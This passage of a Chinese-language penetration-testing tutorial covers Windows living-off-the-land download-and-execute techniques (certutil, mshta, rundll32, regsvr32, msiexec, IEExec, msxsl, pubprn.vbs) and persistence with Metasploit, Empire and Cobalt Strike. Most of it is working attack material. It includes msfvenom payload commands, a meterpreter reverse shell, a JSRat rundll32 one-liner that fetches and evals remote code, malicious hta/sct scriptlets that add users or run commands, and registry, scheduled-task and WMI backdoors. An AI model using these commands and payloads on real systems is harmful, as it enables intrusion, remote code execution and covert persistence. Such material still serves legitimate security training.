注: 缓存目录为: "%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

```
#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
```



4、wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

wget.exe下载: <u>https://eternallybored.org/misc/wget/</u>

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

| C:\Windows\System32\cmd.exe | _ | | × |
|---|----------|---|---|
| Microsoft Windows [版本 10.0.18362.535] (c) 2019 Microsoft Corporation。保留所有权利。 | | | î |
| D:\test>wget -0 "evil.txt" http://192.168.28.128/imag/evil.txt 2020-04-13 21:26:50 http://192.168.28.128/imag/evil.txt Connecting to 192.168.28.128:80 connected. HTTP request sent, awaiting response 200 OK Length: 32174 (31K) [text/plain] Saving to: 'evil.txt' | | | |
| evil.txt 100%[=================================== | in 0.008 | s | |
| 2020-04-13 21:26:50 (3.92 MB/s) - 'evil.txt' saved [32174/32174] | | | |
| D:\test>dir 驱动器 D 中的卷没有标签。 卷的序列号是 DE72-BB32 D:\test 的目录 | | | |
| 2020/04/13 21:26 〈DIR〉 2020/04/13 21:26 〈DIR〉 2020/04/13 21:16 <u>32,174 evil.txt</u> 2020/04/13 21:25 4,923,280 wget.exe 2 个文件 4,955,454 字节 2 个目录 23,175,860,224 可用字节 | | | |
| D:\test> | | | |

5、ipc\$文件共享

IPC\$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可 信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

```
#建立远程IPC连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test
```

```
\times
C:\Windows\System32\cmd.exe
                                                                           _
Microsoft Windows [版本 10.0.18362.535]
                                                                                         ٨
(c) 2019 Microsoft Corporation。保留所有权利。
D:\test>net_use \\192.168.28.128\ipc$ /user:administrator "abc123!"
命令成功完<u>成。</u>
D:\test>copy \\192.168.28.128\c$\2.txt D:\test
已复制
               1 个文件。
D:\test>dir
驱动器 D 中的卷没有标签。
卷的序列号是 DE72-BB32
D:\test 的目录
2020/04/14 20:58
                     <DIR>
2020/04/14
            20:58
                     <DIR>
2020/04/12
                                760 2.txt
            13:56
                                    760 字节
                     存
录 23, 175, 491, 584 可用字节
D:\test>_
```

6、FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp 127.0.0.1 username password get file exit

■ C:\Windows\System32\cmd.exe - ftp 192.168.28.128
 ■ □ ×
 Wicrosoft Windows [版本 10.0.18362.535]
 (c) 2019 Microsoft Corporation。保留所有权利。
 D:\test>ftp 192.168.28.128
 连接到 192.168.28.128.
 220 Microsoft FTP Service
 200 OPTS UTF8 command successful - UTF8 encoding now ON.
 用户(192.168.28.128:(none)): user01
 331 Password required for user01.
 密码:
 230 User logged in.
 ftp> get evil.txt
 200 PORT command successful.
 150 Opening ASCII mode data connection.

7、TFTP

用来下载远程文件的最简单的网络协议,它基于UDP协议而实现

tftp32服务端下载地址: <u>http://tftpd32.jounin.net/tftpd32_download.html</u>

tftp -i 你的IP get 要下载文件 存放位置

| 🔖 Tftpd64 Servi | ice Edition by Ph. | Jounin | | | |
|--------------------|--|----------------------|-------------------|-------------|-----------|
| Current Directory | C:\temp | | | - | Browse |
| Server interface | 192.168.100.10 | | | - | Show Dir |
| Tftp Server Tftp | , oClient∫DHCP ser | ver Syslog server | Log viewer | 1 | |
| peer | file | start time | progress | bytes | total tii |
| 192.168.100.20: | 37 >c7200-is-ma | z.12 16:15:52 | 61% | 7875584 | 12819852 |
| 2a01:240:fe23:50 | 0e <n7000-s1-d< td=""><td>k9 16:15:35</td><td>15%</td><td>22206464</td><td>147087748</td></n7000-s1-d<> | k9 16:15:35 | 15% | 22206464 | 147087748 |
| 192.168.1.20:57 | 572 <n7000-s1-d< td=""><td>k9 16:15:31</td><td>21%</td><td>32261632</td><td>147087748</td></n7000-s1-d<> | k9 16:15:31 | 21% | 32261632 | 147087748 |
| | | | | | |
| 👋 n7000-s1- | dk9-npe.5.1.3.bir | 1 to 192.1 🗙 | | | |
| F | File size : 14708774 | 8 | | | |
| 32261632 By | tes sent 11124 | 70 Bytes/sec | | | |
| | n7000-s1- | dk9-npe.5.1.3.bir | 1 to 2a01: | × | |
| | _ | File size : 14708774 | 8 | _ | |
| | 22206464 B | utes sent 8882! | o 58 Butes/sec | | |
| | | , | | | |
| | | c7200-is | s-mz.122-4 | | 2.1 X |
| | | | File size : | 12819852 | |
| | | 7875584 | Bytes rovd | 984448 Byte | s/sec |
| | | | | | |
| | | | | | |
| | _ | | 24 | | |
| About | | Settings | | | Help |
| | | | | | |

8、WinScp

```
WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。
```

```
#上传
winscp.exe /console /command "option batch continue" "option confirm off" "open
sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit"
/log=log_file.txt
```

#下载

```
winscp.exe /console /command "option batch continue" "option confirm off" "open
sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\"
"exit" /log=log_file.tx
```

使用winscp.exe 作为命令行参数执行远程上传/下载操作。



9、msiexec

msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:

#生成msi包 msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi #远程执行 msiexec /q /i http://192.168.28.128/evil.msi

成功添加了一个test用户:



10、IEExec

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

生成Payload:

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
```

使用管理员身份打开cmd,分别运行下面两条命令。

```
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
```



11、mshta

mshta用于执行.hta文件,而hta是HTML Applocation的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。

mshta http://192.168.28.128/run.hta

run.hta内容如下:

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令 self.close </script> <body> demo </body> </HEAD> </HTML>

| Microsoft Windows [版本 6.1.7601] 版权所有 <c> 2009 Microsoft Corporation。保留所有权利。 C: Wsers Administrator>mshta http://192.168.28.128/run.hta C: Wsers Administrator>net user いWIN-D8MSEM20MJB 的用户帐户</c> |
|--|
| C:\Users\Administrator>mshta http://192.168.28.128/run.hta C:\Users\Administrator>net user \\WIN-D8MSEM20MJB 的用户帐户 |
| C:\Users\Administrator>net user \\WIN-D8MSEM20MJB 的用户帐户 |
| ヽ\WIN-D8MSEM20MJB 的用户帐户 |
| |
| Aaron Administrator Guest 命令成功元成 C: Wsers Administrator> |

12、rundll32

其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为 rundll32.exe和regsvr32.exe生成恶意程序。

项目地址: <u>https://github.com/Hood3dRob1n/JSRat-Py.git</u>

步骤一:开始运行JSRat,监听本地8888端口。

| <pre>root@kali:/tmp/JSRat-Py# ./JSRat.py -i 192.168.28.131 -p 8888 ./JSRat.py:308: SyntaxWarning: name 'client_type' is assigned to before global declaration global client_type</pre> |
|--|
| JSRat Server - Python Implementation |
| By: Hood3dRob1n |
| [*] Web Server Started on Port: 8888 |
| [*] Awaiting Client Connection to: |
| [*] rundl132 invocation: http://192.168.28.131:8888/connect |
| [*] regsvr32 invocation: http://192.168.28.131:8888/file.sct |
| [*] Client Command at: http://192.168.28.131:8888/wtf |
| [*] Browser Hook Set at: http://192.168.28.131:8888/hook |
| |

步骤二:通过url访问,可以查看恶意代码。

← → C ① 不安全 | 192.168.28.131:8888/wtf

🗆 🗟 🛧 💟 🛥 🔘 🔾

rundl132 Method for Client Invocation: rundl132.exe javascript: "\..\mshtml.RunHTML&pplication ";document.write();h=new%20&ctiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET", "http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e) {new%20&ctiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundl132.exe",0,true);}

regsvr32 Method for Client Invocation: regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

复制代码如下:

```
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192
.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e)
{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
```

步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:

| [*] Client Command Query from: 192.168.28.1 |
|---|
| rundll32 Method for Client Invocation: rundll32.exe javascript:"\\mshtml.RunHTMLApplication ";document.write();h=new&20ActiveXDbject("WinHttp.WinHttpRequest.5.1");h.Open("GET", "http://192.168.28.131:8888/connect", false);try{h.Se nd();b=h.ResponseText;eval(b);}catch(e){new&20ActiveXDbject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} |
| regsvr32 Method for Client Invocation: regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll |
| [*] Incoming JSRat rundl132 Invoked Client: 192.168.28.128 [*] User-Agent: Mozilla/4.0 (compatible; Win32; WinHttpRequest.5) |
| JSRat Usage Options: OD > Executes Provided Command rm > Nm EXE or Script read >> Read File upload >> Option File downLoad >> DownLoad File delete >> Delete File help >= Help Menu exit => Exit Shell |
| <pre>\$(USER:)> whoami (*) Client Command Query from: 192.168.28.1</pre> |
| rundll32 Method for Client Invocation: rundll32.exe javascript:"\.\sshtml,RunHTMLApplication ";document.write();h=new%20ActiveXDbject("WinHttp.WinHttpRequest.5.1");h.Open("GET", "http://192.168.28.131:8888/connect",false);try{h.Se nd();b=h.ResponseText;eval(b);]catch(e)(new%20ActiveXDbject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} |
| regsvr32 Method for Client Invocation: regsvr32.exe /u /n /s /1:http://192.168.28.131:8888/file.sct scrobj.dll |
| win-d8msem20mjb\administrator |

13、regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

在目标机上执行:

regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll

可以通过自己构造.sct文件,去下载执行我们的程序

```
<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
        <![CDATA[
            ps = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);
        ]]>
</script>
</script>
</script>
```

执行命令,成功弹计算器:

| ◎ 管理员:命令提示符 | | - D × | | | | | | |
|--|-----------------------------|-------|--|--|--|--|--|--|
| Microsoft Windows [版本 6.1.7601] 版权所有 <c> 2009 Microsoft Corporation。保留所有权利。</c> | | | | | | | | |
| C:\Users\Administrator> C:\Users\Administrator>regsur32_eye_/u_/n_/s_/i; | :http://192 168 28 128/file | ect e | | | | | | |
| crobj.dll | ☐ 计算器 | | | | | | | |
| C:\Users\Administrator> | 查看(V) 编辑(E) 帮助(H) | | | | | | | |
| | | | | | | | | |
| | 0 | | | | | | | |
| | MC MR MS M+ M- | | | | | | | |
| | ← CE C ± √ | | | | | | | |
| | 7 8 9 / % | | | | | | | |
| | 4 5 6 * 1/x | | | | | | | |
| | 1 2 3 - | | | | | | | |
| | 0 . + = | | | | | | | |
| | | - | | | | | | |

14、MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为: <u>https://www.microsoft.com/en-us/download/details.aspx?id=21714</u>

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml

```
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
</customer>
</customer>
</customer>
```

exec.xsl

```
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
```

```
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:script>
<xsl:template match="/">
<xsl:template match="/">
</sl:template match="/">
</sl:template match="/">
```

| ■ 管理员:命令提示符 | |
|---|-------------------|
| Microsoft Windows [版本 6.1.7601] | |
| 版权所有 <c> 2009 Microsoft Corporation。保留所有权利。</c> | ■ 计算器 ■□ ■ |
| C:\Users\Administrator>msxsl.exe http://192.168.28.128/scripts/demo.xml http:// | 查看(V) 编辑(E) 帮助(H) |
| 192.168.28.128/scripts/exec.xls | |
| ??xml version="1.0" encoding="UTF-16"?> | |
| lt;?xml version="1.0"?> | 0 |
| xml-stylesheet type="text/xsl" href</td <td></td> | |
| = "exec.xsl" ?> | MC MR MS M+ M- |
| & l t ; c u s t o m e r s & g t ; | |
| & l t ; c u s t o m e r & g t ; | ← CE C ± √ |
| <name>Microsoft</name> | |
| & lt;/customer> | 7 8 9 / % |
| & l t ; / c u s t o m e r s & g t ; | |
| C·\Usews\Administwatow} | 4 5 6 * 1/x |
| G. WSETS MUMILIISTRUGT | |
| | |
| | |
| | |

15、pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于 C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命 令行参数),之后再将参数传递给GetObject()

```
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1
script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a4
7e4075785016a62f7e5170ef36f5247cdb/test.sct
```

test.sct

```
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000FEEDACDC}"
remotable="true"
>
```

```
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</script>
```

📷 管理员: 命令提示(_ 🗆 🗵 Microsoft Windows [版本 6.1.7601] ٠ 版权所有 <c> 2009 Microsoft Corporation。保留所有权利。 C:\Users\Administrator>cd_c:\Windows\System32\Printing_Admin_Scripts\zh-CN c:\Windows\System32\Printing_Admin_Scripts\zh-CN>pubprn.vbs 127.0.0.1 script:htt p://192.168.28.128/test.sct c:\Windows\System32\Printing_Admin_Scripts\zh-CN> 📕 计算器 _ 🗆 🗙 查看(V) 编辑(E) 帮助(H) 0 MC MR MS M+ M-CE C ٧ ± 7 8 9 % 4 5 1/x6 1 2 3

第6篇:三大渗透测试框架权限维持技术

0x00 前言

在渗透测试中,有三个非常经典的渗透测试框架-----Metasploit、Empire、Cobalt Strike。

那么,通过漏洞获取到目标主机权限后,如何利用框架获得持久性权限呢?

0x01 MSF权限维持

使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:

Persistence模块

通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表 信息。推荐使用该参数;

-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表 信息。由于权限问题,会导致添加失败,后门将无法启动。

-S:作为服务自动启动代理程序(具有SYSTEM权限)

生成的相关文件位置:

后门文件位置:

C:\Windows\Temp

C:\Users\Administrator\AppData\Local\Temp

注册表位置:

 ${\tt HKCU}\ {\tt Software}\ {\tt Microsoft}\ {\tt Windows}\ {\tt Current}\ {\tt Version}\ {\tt Run}\ {\tt Microsoft}\ {\tt HKCU}\ {\tt Software}\ {\tt Microsoft}\ {\tt Microsoft}$

 ${\tt HKLM} \mbox{Software} \mbox{Microsoft} \mbox{CurrentVersion} \mbox{Run} \mbox{Run} \mbox{Version} \mbox{Run} \mbox{Run} \mbox{Version} \mbox{Version} \mbox{Run} \mbox{Version} \mbox{Ve$



Metsvc 模块

通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

| meterpreter > run metsvc -A |
|--|
| [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. |
| [!] Example: run post/windows/manage/persistence_exe OPTION=value [] |
| [*] Creating a meterpreter service on port 31337 |
| [*] Creating a temporary installation directory C:\Users\ADMINI~1\AppData\Local\Temp\1\ggHezDZAuQ |
| <pre>[*] >> Uploading metsrv.x86.dll</pre> |
| <pre>[*] >> Uploading metsvc-server.exe</pre> |
| <pre>[*] >> Uploading metsvc.exe</pre> |
| [*] Starting the service |
| * Installing service metsvc |
| * Starting service |
| Service metsvc successfully installed. |
| [*] Trying to connect to the Meterpreter service at 192.168.28.131:31337 |
| [*] Meterpreter session 3 opened (192.168.28.128:45111 -> 192.168.28.131:31337) at 2019-08-11 03:46:38 -0400 |
| <pre>meterpreter > [*] 192.168.28.131 - Meterpreter session 3 closed. Reason: Died</pre> |



| 😋 服务(本地) | | | | | ■eterpreter 的属性(本地计算机) |
|-------------------------|-----------------------|---------------|------|------|--|
| Meterpreter | 名称 🔺 🕺 描述 | 述 状态 | 启动类型 | 登录为 | 常规 登录 恢复 依存关系 |
| | 🤐 Human Interfac 启 | – – – – – | 手动 | 本地系统 | 吧冬夕我···································· |
| <u>得止</u> 此服务 至今時世界条 | 🔛 IIS Admin Service 🎵 | | 目初 | 本地系新 | JR力・白柳い metsve |
| 里启动此服务 | IKE and AuthIP IK | E 已启动 | 目动 | 本地糸纷 | 显示名称: Meterpreter |
| | 🤮 Interactive Se 启 | | 手动 | 本地系统 | 24.441 |
| | 🥋 Internet Conne 为 | | 禁用 | 本地系统 | · 抽还: |
| | 🥋 IP Helper 使 | 已启动 | 自动 | 本地系统 | |
| | 🔍 IPsec Policy A In | .t 已启动 | 手动 | 网络服务 | 可执行文件的路径: |
| | 🤍 KtmRm for Dist 协 | | 手动 | 网络服务 | 4DMINI~1\AppData\Local\Temp\1\ggHezDZAuQ\metsvc.exe″ service |
| | 🤐 Link-Layer Top 创 | | 手动 | 本地服务 | 白动米刑(37): 白动 |
| | 🔍 Meterpreter | 已启动 | 自动 | 本地系统 | |
| | 💋 🔍 Microsoft .NET Mi | c | 手动 | 本地系统 | 帮助我配置服务启动洗项。 |
| | 🦰 🎑 Microsoft .NET Mi | c | 手动 | 本地系统 | |
| | 🤍 Microsoft Fibr 注. | | 手动 | 本地服务 | 服务状态: 已启动 |
| | 🤍 Microsoft FTP 允 | 已启动 | 自动 | 本地系统 | |
| | 🤍 Microsoft iSCS 管. | | 手动 | 本地系统 | |
| | 🤍 Microsoft Soft 管. | | 手动 | 本地系统 | 当从此外启动服务时,您可指完所话用的启动参数。 |
| | 🤹 Multimedia Cla 基 | | 手动 | 本地系统 | |
| | 🤹 Net. Msmq Liste 通. | | 禁用 | 网络服务 | A REAL ARX. |
| | 🎑 Net.Pipe Liste 通. | 已启动 | 自动 | 本地服务 | 启动梦教 WI: |
| | 🎑 Net. Tcp Listen 通. | 已启动 | 自动 | 本地服务 | |
| 1 | 🥋 Net.Top Port S 提 | 已启动 | 手动 | 本地服务 | |
| | 🥋 Netlogon 为 | | 手动 | 本地系统 | <u>确定</u> 取消 应用(A) |

0x02 Empire 权限维持

Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即

| (Empire: FZ9HGTVS) > usemodule per | rsistence/ | | | |
|------------------------------------|-----------------------------------|--------------------|-----------------------|-------------------|
| elevated/registry* | misc/add_netuser | misc/get_ssps | powerbreach/deaduser | userland/registry |
| elevated/schtasks* | misc/add_sid_history* | misc/install_ssp* | powerbreach/eventlog* | userland/schtasks |
| elevated/wmi* | misc/debugger* | misc/memssp* | powerbreach/resolver | |
| elevated/wmi_updater* | misc/disable_machine_acct_change* | misc/skeleton_key* | userland/backdoor_lnk | |

| elevated (管理权限) | misc (杂项) | powerbreach | userland (用户权限) |
|-----------------|------------------------------|-------------|-----------------|
| registry* | add_netuser | deaduser | backdoor_lnk |
| schtasks* | add_sid_history* | eventlog* | registry |
| wmi* | debugger* | resolver | schtasks |
| wmi_updater* | disable_machine_acct_change* | | |
| | get_ssps | | |
| | install_ssp* | | |
| | memssp* | | |
| | skeleton_key* | | |

注册表

(Empire: agents) > agents (Empire: agents) > interact URL3FZBV (Empire: URL3FZBV) > usemodule persistence/elevated/registry* (Empire: powershell/persistence/elevated/registry) > set Listener test (Empire: powershell/persistence/elevated/registry) > execute

| (Empire: agents) > agents | | | | | | | | | |
|---|-------------------|-----------------|-------------------------|------------|------|-------|---------------------|--|--|
| [*] Activ | | | | | | | | | |
| Name | La Internal IP | Machine Name | Username | Process | PID | Delay | Last Seen | | |
| URL3FZBV | ps 192.168.28.133 | WIN-D8MSEM20MJB | *WIN-D8MSEM20MJB\Admini | powershell | 2604 | 5/0.0 | 2019-09-02 10:27:30 | | |
| <pre>(Empire: agents) > interact URL3FZBV (Empire: URL3FZBV) > usemodule persistence/elevated/registry* (Empire: powershell/persistence/elevated/registry) > set Listener test (Empire: powershell/persistence/elevated/registry) > execute [>] Module is not opsec safe, run? [y/N] y [*] Tasked URL3FZBV to run TASK CMD_WAIT [*] Agent URL3FZBV to run TASK CMD_WAIT [*] Agent URL3FZBV to run module powershell/persistence/elevated/registry (Empire: powershell/persistence/elevated/registry) > [*] Agent URL3FZBV returned results. Registry persistence established using listener test stored in HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug. [*] Valid results returned by 192.168.28.133</pre> | | | | | | | | | |
| (Empire: powershell/persistence/elevated/registry) > | | | | | | | | | |

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:

| í 注册된 | 長编辑器 | | | | | |
|-------|-----------|-----------------------|----------------|---------------------|---------------|--|
| 文件(F) | 编辑(E) | 查看(V) 收藏夹(A) | 帮助(H) | | | |
| | . |]) SystemCertificates | | 名称 | 类型 | 数据 |
| | ÷ | 📗 TableTextService | | 🌉 (默认) | REG_SZ | (数值未设置) |
| | ÷ | 📙 Tepip | | abCommonFilesDir | REG_SZ | C:\Program Files\Common Files |
| | | 🎍 Terminal Server Cli | ent | ab CommonFilesDi | REG_SZ | C:\Program Files (x86)\Common Files |
| | | 📗 TermServLicensing 🛛 | | 赴 CommonW6432Dir | REG_SZ | C:\Program Files\Common Files |
| | ÷ | 📕 TIP Shared | | ab Debug | REG_SZ | SQBGACgAJABQAFMAVgBFAFIAUwBJAG8ATgBUAG |
| | ÷ | 📗 Tpm | | ab DevicePath | REG_EXPAND_SZ | %SystemRoot%\inf |
| | ÷ | 📗 Tracing | | ab Medi aPathUnex | REG_EXPAND_SZ | %SystemRoot%\Media |
| | ÷ | 📗 Transaction Server | | ab ProgramFilesDir | REG SZ | C:\Program Files |
| | | uDRM 🖉 | | ab ProgramFilesD | REG SZ | C:\Program Files (x86) |
| | + | 📗 UPnP Device Host | | ab ProgramFilesPath | REG EXPAND SZ | %ProgramFiles% |
| | | 📕 Virtual Machine | | ab ProgramW6432Dir | REG SZ | C:\Program Files |
| | + | VisualStudio | | ab SM ConfigureP | REG SZ | Set Program Access and Defaults |
| | (± | W3SVC | | ab SM GenerNene | REG ST | Gomor |
| | ± | WAB | | | MEQ_DE | Galles |
| | ± | WBEM | | | | |
| | ± | WebManagement | | | | |
| | | WIMMount | | | | |
| | | Mindows | | | | |
| | | UurrentVersion | | | | |
| | | 🗄 💾 App Managemen | nt | | | |
| | | 🖽 📕 App Paths | | | | |
| | | H Applets | | | | |
| | | Audio | | | | |
| | | + Authenticati | on | | | |
| | | BIIS | | | | |
| | | CEIFData | | | | |
| | | | . | | | |
| | | : I+⊡∎ Component Ka | Sed Servic | • | | |
| 计算机\) | KEY_LOCAL | | rosoft\Window: | s\CurrentVersion | | |

计划任务

(Empire: agents) > interact 9NZ2RWBC (Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks* (Empire: powershell/persistence/elevated/schtasks) > set Listener test (Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50 (Empire: powershell/persistence/elevated/schtasks) > execute



在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell



wmi

(Empire: agents) > interact 9NZ2RWBC (Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi (Empire: powershell/persistence/elevated/wmi) > set Listener test (Empire: powershell/persistence/elevated/wmi) > run

| (Empire: agents) > interact 9NZ2RWBC |
|---|
| (Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi |
| (Empire: powershell/persistence/elevated/wmi) > set Listener test |
| (Empire: powershell/persistence/elevated/wmi) > run |
| [>] Module is not opsec safe, run? [y/N] y |
| [*] Tasked 9NZ2RWBC to run TASK_CMD_WAIT |
| [*] Agent 9NZ2RWBC tasked with task ID 3 |
| [*] Tasked agent 9NZ2RWBC to run module powershell/persistence/elevated/wmi |
| (Empire: powershell/persistence/elevated/wmi) > [*] Agent 9NZ2RWBC returned results. |
| WMI persistence established using listener test with OnStartup WMI subsubscription trigger. |
| [*] Valid results returned by 192.168.28.133 |
| |
| (Empire a neurophylic lands and a lands a data it is a |

```
如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。
```

| 🖅 Autor | uns [TIN-D88SE8208JB\Administrator |] - Sysinternals: www.sy | ysinternals.co | • | | | _ 🗆 × |
|-----------|--|----------------------------------|------------------|-------------------------|--|----------------------|-----------|
| File En | try Options User Help | | | | | | |
| | 🟦 🔟 🔀 📕 🛛 Filter: | | | | | | |
| C Even | ything 🛛 🎿 Logon 🗍 🚼 Explorer 🗍 🈂 Interi | net Explorer 🛛 🙆 Scheduled Task | s 🛛 🆏 Services 🗍 | Brivers | Boot Execute | Image Hijacks | 🔊 AppInit |
| [🔊 Kno | wnDLLs 🎬 Winlogon 🔍 Winsock Pro | viders 🏐 Print Monitors ' | USA Providers | Network Providers | The second secon | Sidebar Gadgets | U Office |
| Autorun E | ntry Description | Publisher | Image Path | Timesta | mp | VirusTotal | |
| | Database Entries | | File not found | · Filo not found: la | | | |
| | opdater | | File not round | . File noctound, n | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | File not found: File not found: hidder | WQL | Query: SELECI | f * FROMInstanceModific | ationEvent WITHIN (| 60 WHERE TargetInsta | nce ISA |
| | | | | | | | |
| | | | | | | | |
| | $\label{eq:c:windows} C:\Windows\System 32\Windows\PowerShell\v1.$ | 0\powershell.exe -NonI -W hidden | -enc SQBmACgAJAB | 8QAFMAVgBFAHIAcwBJAG8/ | AbgBUAGEAYgBsAEL | JALgBQAFMAVgBFAHIA | UwBpA(|
| Ready. | | | | Sig | ned Windows Entries | s Hidden. | |

0x03 Cobalt Strike权限维持

通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。

从Cobalt Strike菜单栏, Attacks--Web Drive-by--Scaripted Web Delivery, 生成powershell后门。

| Cobalt Strike View Attacks Reporting Help | | | | | | | | |
|---|----------------|-----------------------|----------------|----------|----------------|------|--|--|
| | Packages 🕒 | n 🖾 🔅 🍺 🗎 🖂 |] 🕜 📥 📕 | Û | | | | |
| external | Web Drive-by 🕨 | Manage | computer | note | pid | last | | |
| | Spear Phish | Clone Site | | | | | | |
| | | Host File | | | | | | |
| | | Scripted Web Delivery | | | | | | |
| | | Signed Applet Attack | | | | | | |
| | | Smart Applet Attack | | | | | | |
| | | System Profiler | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| A 7 | | | | | | | | |
| Event Log X | isteners X | | | | | | | |
| name | payload | | host | port l | beacons | | | |
| test | windows/beaco | n_http/reverse_http | 192.168.28.142 | 12345 | 192.168.28.142 | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | Add Edit | Remove Rest | art Help | | | | |

根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。

| Scripted | l Web Delivery — [|] | × |
|-------------------------------|---|----------------|-----|
| This attack I payload. The | nosts an artifact that delivers a Cobalt Str e provided one-liner will allow you to quic | ike kly get | t 🚽 |
| URI Path: | /a | | |
| Local Host: | 192.168.28.142 | | |
| Local Port: | 80 |] | |
| Listener: | test | A | dd |
| Туре: | powershell | | |
| | bitsadmin | | |
| 1 | powershell | | |
| | python | | |
| | regsvr32 | | |

点击Launch后,返回powershell远程下载执行命令。

| Success | |
|--|----|
| Started service: Scripted Web Delivery Copy and paste this URL to access it | |
